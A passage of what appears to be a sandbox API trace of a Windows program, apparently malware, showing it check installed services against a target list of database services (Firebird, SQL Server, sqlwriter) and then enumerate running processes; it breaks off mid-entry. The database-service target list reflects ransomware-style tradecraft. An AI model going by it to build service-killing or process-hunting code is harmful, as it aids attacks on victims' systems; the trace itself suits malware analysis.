lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0074.390] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0074.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0074.390] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0074.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0074.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0074.390] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0074.390] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0074.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0074.390] lstrlenW (lpString="CDPSvc") returned 6 [0074.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0074.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0074.390] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0074.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0074.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0074.391] lstrlenW (lpString="ClickToRunSvc") returned 13 [0074.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0074.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0074.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0074.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0074.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0074.391] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0074.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0074.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0074.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0074.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0074.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0074.391] lstrlenW (lpString="CryptSvc") returned 8 [0074.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0074.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0074.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0074.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0074.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0074.391] lstrlenW (lpString="DcomLaunch") returned 10 [0074.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.391] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0074.391] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0074.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0074.391] lstrlenW (lpString="DeviceAssociationService") returned 24 [0074.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0074.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0074.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0074.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0074.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0074.392] lstrlenW (lpString="Dhcp") returned 4 [0074.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0074.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0074.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0074.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0074.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0074.392] lstrlenW (lpString="Dnscache") returned 8 [0074.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0074.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0074.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0074.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0074.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0074.392] lstrlenW (lpString="DoSvc") returned 5 [0074.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0074.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0074.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0074.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0074.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0074.392] lstrlenW (lpString="DPS") returned 3 [0074.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0074.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0074.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0074.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0074.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0074.393] lstrlenW (lpString="DusmSvc") returned 7 [0074.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0074.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0074.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0074.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0074.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0074.393] lstrlenW (lpString="EventLog") returned 8 [0074.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0074.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0074.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0074.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0074.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0074.393] lstrlenW (lpString="EventSystem") returned 11 [0074.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0074.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0074.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0074.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0074.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0074.393] lstrlenW (lpString="FontCache") returned 9 [0074.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0074.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0074.393] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0074.393] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0074.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0074.393] lstrlenW (lpString="gpsvc") returned 5 [0074.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0074.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0074.394] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0074.394] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0074.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0074.394] lstrlenW (lpString="iphlpsvc") returned 8 [0074.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.394] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0074.394] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0074.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0074.394] lstrlenW (lpString="KeyIso") returned 6 [0074.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0074.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0074.394] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0074.394] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0074.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0074.394] lstrlenW (lpString="LanmanServer") returned 12 [0074.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0074.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0074.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0074.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0074.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0074.394] lstrlenW (lpString="LanmanWorkstation") returned 17 [0074.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0074.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0074.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0074.395] lstrlenW (lpString="lfsvc") returned 5 [0074.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0074.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0074.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0074.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0074.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0074.395] lstrlenW (lpString="lmhosts") returned 7 [0074.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0074.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0074.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0074.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0074.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0074.395] lstrlenW (lpString="LSM") returned 3 [0074.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0074.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0074.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0074.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0074.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0074.395] lstrlenW (lpString="MapsBroker") returned 10 [0074.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0074.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0074.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0074.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0074.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0074.395] lstrlenW (lpString="MpsSvc") returned 6 [0074.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0074.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0074.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0074.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0074.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0074.396] lstrlenW (lpString="NcbService") returned 10 [0074.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0074.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0074.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0074.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0074.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0074.396] lstrlenW (lpString="netprofm") returned 8 [0074.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0074.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0074.396] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0074.396] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0074.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0074.396] lstrlenW (lpString="NlaSvc") returned 6 [0074.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0074.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0074.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0074.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0074.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0074.396] lstrlenW (lpString="nsi") returned 3 [0074.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0074.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0074.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0074.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0074.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0074.396] lstrlenW (lpString="PcaSvc") returned 6 [0074.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0074.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0074.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0074.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0074.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0074.397] lstrlenW (lpString="PlugPlay") returned 8 [0074.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0074.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0074.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0074.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0074.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0074.397] lstrlenW (lpString="Power") returned 5 [0074.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0074.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0074.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0074.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0074.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0074.397] lstrlenW (lpString="ProfSvc") returned 7 [0074.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0074.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0074.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0074.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0074.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0074.397] lstrlenW (lpString="RpcEptMapper") returned 12 [0074.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0074.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0074.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0074.398] lstrlenW (lpString="RpcSs") returned 5 [0074.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0074.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0074.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0074.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0074.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0074.398] lstrlenW (lpString="SamSs") returned 5 [0074.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0074.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0074.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0074.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0074.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0074.398] lstrlenW (lpString="Schedule") returned 8 [0074.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0074.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0074.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0074.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0074.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0074.398] lstrlenW (lpString="SecurityHealthService") returned 21 [0074.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0074.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0074.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0074.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0074.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0074.399] lstrlenW (lpString="SENS") returned 4 [0074.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0074.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0074.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0074.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0074.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0074.399] lstrlenW (lpString="ShellHWDetection") returned 16 [0074.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0074.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0074.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0074.399] lstrlenW (lpString="Spooler") returned 7 [0074.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0074.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0074.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0074.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0074.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0074.400] lstrlenW (lpString="SSDPSRV") returned 7 [0074.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0074.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0074.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0074.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0074.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0074.400] lstrlenW (lpString="StateRepository") returned 15 [0074.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0074.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0074.400] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0074.400] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0074.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0074.400] lstrlenW (lpString="SysMain") returned 7 [0074.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0074.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0074.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0074.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0074.400] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4863a0 | out: hHeap=0x440000) returned 1 [0074.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0074.420] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.421] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.421] lstrlenW (lpString="System") returned 6 [0074.421] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.422] lstrlenW (lpString="smss.exe") returned 8 [0074.422] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.423] lstrlenW (lpString="csrss.exe") returned 9 [0074.423] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.423] lstrlenW (lpString="wininit.exe") returned 11 [0074.423] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.424] lstrlenW (lpString="csrss.exe") returned 9 [0074.424] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.425] lstrlenW (lpString="winlogon.exe") returned 12 [0074.425] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.425] lstrlenW (lpString="services.exe") returned 12 [0074.425] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.426] lstrlenW (lpString="lsass.exe") returned 9 [0074.426] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.427] lstrlenW (lpString="svchost.exe") returned 11 [0074.427] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0074.427] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0074.428] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0074.428] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0074.428] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.429] lstrlenW (lpString="svchost.exe") returned 11 [0074.429] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.430] lstrlenW (lpString="dwm.exe") returned 7 [0074.458] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 